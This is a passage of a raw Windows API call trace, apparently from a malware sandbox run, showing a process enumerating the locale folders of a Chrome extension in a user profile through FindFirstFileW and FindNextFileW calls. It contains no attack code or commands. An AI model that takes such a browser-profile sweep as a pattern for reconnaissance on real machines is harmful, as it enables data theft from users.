ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.228] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f78c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.228] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.230] GetProcessHeap () returned 0x550000 [0276.230] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.230] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0276.230] GetProcessHeap () returned 0x550000 [0276.230] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.230] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.230] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841fedf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.231] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841fedf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.231] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.231] GetProcessHeap () returned 0x550000 [0276.231] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.231] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0276.231] GetProcessHeap () returned 0x550000 [0276.231] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.234] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.234] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84206320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.234] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84206320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.234] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.234] GetProcessHeap () returned 0x550000 [0276.234] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.234] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0276.235] GetProcessHeap () returned 0x550000 [0276.235] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.235] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.235] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8420d850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.235] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8420d850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.235] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.235] GetProcessHeap () returned 0x550000 [0276.235] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.235] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0276.235] GetProcessHeap () returned 0x550000 [0276.235] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.239] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.239] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84214d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.239] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84214d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.239] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.240] GetProcessHeap () returned 0x550000 [0276.240] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.240] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0276.240] GetProcessHeap () returned 0x550000 [0276.240] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.240] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.240] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8421c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.240] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8421c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.240] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.241] GetProcessHeap () returned 0x550000 [0276.241] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.241] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0276.241] GetProcessHeap () returned 0x550000 [0276.241] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.242] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.242] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842237e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.242] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842237e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.242] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.242] GetProcessHeap () returned 0x550000 [0276.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.242] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0276.242] GetProcessHeap () returned 0x550000 [0276.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.242] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.242] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8422ad10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.243] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8422ad10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.243] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.243] GetProcessHeap () returned 0x550000 [0276.243] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.243] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0276.243] GetProcessHeap () returned 0x550000 [0276.243] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.245] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 